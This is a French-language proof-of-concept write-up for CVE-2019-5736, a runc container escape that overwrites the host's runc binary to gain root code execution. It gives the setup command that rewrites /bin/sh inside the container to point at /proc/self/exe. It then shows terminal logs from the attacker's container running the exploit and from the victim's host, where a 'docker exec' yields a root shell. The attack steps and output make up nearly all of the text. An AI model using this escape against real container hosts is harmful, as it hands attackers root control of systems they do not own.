
Preuve de concept d'exploitation pour CVE-2019-5736, une évasion de conteneur runc qui écrase le binaire runc de l'hôte pour obtenir une exécution de code root sur l'hôte.
Le PoC a été créé pour le scénario où la victime exécute par exemple docker exec <container> sh. Avant d'exécuter l'exploit, il est nécessaire d'écraser le binaire sh dans le système de fichiers du conteneur:
printf '#!/proc/self/exe' > /bin/sh
Après cela, lorsque la victime exécute la commande exec, le binaire runc dans le système de fichiers de l'hôte doit être écrasé avec le code défini dans l'exploit
terminal du conteneur:
root@cebad431c120:/# printf '#!/proc/self/exe' > /bin/sh
root@cebad431c120:/# ./exp # Waits until victim issues the exec command
Found process: 42851
Exploiting PID: /proc/42851/exe
Time to PWN
Success! Next time runc is run we will get RCE!
root@cebad431c120:/#
terminal de la victime:
user@server:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
user@server:~$ sudo docker exec cebad431c120 sh
No help topic for '/usr/bin/sh'
user@server:~$ sudo docker exec cebad431c120 sh
pwned
uid=0(root) gid=0(root) groups=0(root)
failed to retrieve OCI runtime exec pid: open /run/containerd/io.containerd.runtime.v1.linux/moby/cebad431c120d2378925e0712efaafe844616d618d99df4a479283d45f86c0fc/a70ea68c10e0eb3912fde8978e879e77b04ed32731338329024140db47dce1d3.pid: no such file or directory: unknown
user@server:~$